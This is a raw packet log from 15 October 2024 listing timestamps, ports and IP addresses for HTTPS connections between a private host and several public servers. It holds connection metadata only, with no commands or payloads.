Oct 15, 2024 00:39:46.215718031 CEST	49718	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.215773106 CEST	443	49718	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.215801001 CEST	49718	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.215876102 CEST	49718	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.216182947 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.216216087 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.216217995 CEST	443	49719	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.216301918 CEST	49719	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.216387033 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.217051029 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.217065096 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.217150927 CEST	49719	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.217223883 CEST	49719	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.217258930 CEST	443	49719	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.217263937 CEST	49719	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.217531919 CEST	443	49719	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.217535019 CEST	49719	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.217575073 CEST	49722	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.217576027 CEST	49719	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.217583895 CEST	443	49722	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.217758894 CEST	49722	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.217849016 CEST	49722	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.217859983 CEST	443	49722	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.706357956 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.708647013 CEST	443	49722	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.709052086 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.709063053 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.709273100 CEST	49722	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.709285021 CEST	443	49722	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.710570097 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.710724115 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.710879087 CEST	443	49722	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.710964918 CEST	49722	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.712548971 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.712651968 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.714049101 CEST	49722	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.714159012 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.714162111 CEST	443	49722	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.714165926 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.721657038 CEST	49674	443	192.168.2.6	173.222.162.64
Oct 15, 2024 00:39:46.721657991 CEST	49673	443	192.168.2.6	173.222.162.64
Oct 15, 2024 00:39:46.767925024 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.767925024 CEST	49722	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.767936945 CEST	443	49722	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.819428921 CEST	49722	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.908024073 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.908085108 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.908123970 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.908180952 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.908191919 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.908242941 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.908247948 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.909084082 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.909116030 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.909198999 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.909204960 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.909406900 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.912986040 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.913068056 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.913301945 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.913307905 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.960319042 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.995476961 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.995948076 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.996068954 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.996083021 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.997466087 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.997548103 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.997548103 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.997575998 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.997618914 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.998550892 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.999799967 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:46.999883890 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:46.999891043 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.000976086 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.001066923 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.001072884 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.002062082 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.002356052 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.002362013 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.006397009 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.006495953 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.006572008 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.006577969 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.006618023 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.006623983 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.007226944 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.007313013 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.007318020 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.008502007 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.008569956 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.008575916 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.050652981 CEST	49672	443	192.168.2.6	173.222.162.64
Oct 15, 2024 00:39:47.050693035 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.083045006 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.083261967 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.083408117 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.083416939 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.084216118 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.084319115 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.084325075 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.085043907 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.085122108 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.085129023 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.086627007 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.086702108 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.086744070 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.086750984 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.087119102 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.088443995 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.088530064 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.090137005 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.090198040 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.090281010 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.091880083 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.091949940 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.091958046 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.092012882 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.093607903 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.093681097 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.094496965 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.094584942 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.096178055 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.096246958 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.096894979 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.097875118 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.097944975 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.098777056 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.098858118 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.100436926 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.100506067 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.101214886 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.101306915 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.170281887 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.170392990 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.170427084 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.170485020 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.171066046 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.171161890 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.171560049 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.171623945 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.172033072 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.172095060 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.172344923 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.172403097 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.172910929 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.173016071 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.173024893 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.173069000 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.173118114 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.173118114 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.173912048 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.173985958 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.174632072 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.174726009 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.174758911 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.174825907 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.175678968 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.175745010 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.175787926 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.175848007 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.176476955 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.176587105 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.176615000 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.176624060 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.176640034 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.177303076 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.177359104 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.177365065 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.177747011 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.177808046 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.177814007 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.177855015 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.178312063 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.178373098 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.178426981 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.178487062 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.178492069 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.178550959 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.179153919 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.179224014 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.179264069 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.179347992 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.186072111 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.186172962 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.186233044 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.186340094 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.186347961 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.186372042 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.186471939 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.186491966 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.186536074 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.186541080 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.186662912 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.187323093 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.187413931 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.188143969 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.188213110 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.188308001 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.188374996 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.189044952 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.189122915 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.196489096 CEST	49730	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:47.196512938 CEST	443	49730	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:47.196621895 CEST	49730	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:47.196675062 CEST	49731	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:47.196702957 CEST	443	49731	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:47.196757078 CEST	49731	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:47.196966887 CEST	49730	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:47.196979046 CEST	443	49730	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:47.197083950 CEST	49731	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:47.197099924 CEST	443	49731	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:47.257956982 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.257970095 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.258030891 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.258070946 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.258081913 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.258124113 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.258579969 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.258599043 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.258635998 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.258642912 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.258682966 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.259566069 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.259582996 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.259624958 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.259630919 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.259682894 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.260318995 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.260337114 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.260380030 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.260386944 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.260464907 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.261193991 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.261212111 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.261255980 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.261271000 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.261313915 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.262140036 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.262157917 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.262214899 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.262222052 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.262999058 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.263016939 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.263053894 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.263149023 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.263158083 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.263207912 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.264060020 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.264080048 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.264153957 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.264153957 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.264167070 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.264206886 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.265347958 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.265378952 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.265430927 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.265435934 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.265456915 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.265486002 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.266707897 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.266726971 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.266792059 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.266797066 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.266815901 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.266871929 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.267635107 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.267668009 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.267699003 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.267704010 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.267750978 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.267750978 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.267759085 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.268477917 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.268498898 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.268538952 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.268544912 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.268589020 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.274049997 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.274068117 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.274153948 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.274161100 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.274234056 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.274286032 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.274292946 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.274358034 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.274435043 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.274667025 CEST	49721	443	192.168.2.6	188.114.96.3
Oct 15, 2024 00:39:47.274677038 CEST	443	49721	188.114.96.3	192.168.2.6
Oct 15, 2024 00:39:47.850049973 CEST	443	49730	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:47.850094080 CEST	443	49731	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:47.850279093 CEST	49730	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:47.850295067 CEST	443	49730	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:47.850369930 CEST	49731	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:47.850384951 CEST	443	49731	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:47.850665092 CEST	443	49730	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:47.850677013 CEST	443	49730	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:47.850729942 CEST	49730	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:47.850739956 CEST	443	49730	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:47.850755930 CEST	443	49731	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:47.850769997 CEST	443	49731	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:47.850826979 CEST	49731	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:47.850827932 CEST	49730	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:47.850835085 CEST	443	49731	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:47.850923061 CEST	49731	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:47.851396084 CEST	443	49730	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:47.851488113 CEST	443	49731	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:47.852391005 CEST	49730	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:47.852457047 CEST	443	49730	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:47.852605104 CEST	49730	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:47.852615118 CEST	443	49730	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:47.852634907 CEST	49731	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:47.852705002 CEST	443	49731	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:47.852770090 CEST	49731	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:47.852778912 CEST	443	49731	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:47.895754099 CEST	49731	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:47.895755053 CEST	49730	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:47.998550892 CEST	49732	443	192.168.2.6	142.250.185.162
Oct 15, 2024 00:39:47.998584032 CEST	443	49732	142.250.185.162	192.168.2.6
Oct 15, 2024 00:39:47.998923063 CEST	49732	443	192.168.2.6	142.250.185.162
Oct 15, 2024 00:39:47.998970985 CEST	49732	443	192.168.2.6	142.250.185.162
Oct 15, 2024 00:39:47.998980045 CEST	443	49732	142.250.185.162	192.168.2.6
Oct 15, 2024 00:39:48.131098986 CEST	49733	443	192.168.2.6	172.217.18.100
Oct 15, 2024 00:39:48.131154060 CEST	443	49733	172.217.18.100	192.168.2.6
Oct 15, 2024 00:39:48.131266117 CEST	49733	443	192.168.2.6	172.217.18.100
Oct 15, 2024 00:39:48.131436110 CEST	49733	443	192.168.2.6	172.217.18.100
Oct 15, 2024 00:39:48.131453991 CEST	443	49733	172.217.18.100	192.168.2.6
Oct 15, 2024 00:39:48.250915051 CEST	49735	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:48.250962019 CEST	443	49735	142.250.185.161	192.168.2.6
Oct 15, 2024 00:39:48.251033068 CEST	49735	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:48.253593922 CEST	49735	443	192.168.2.6	142.250.185.161
Oct 15, 2024 00:39:48.253618002 CEST	443	49735	142.250.185.161	192.168.2.6
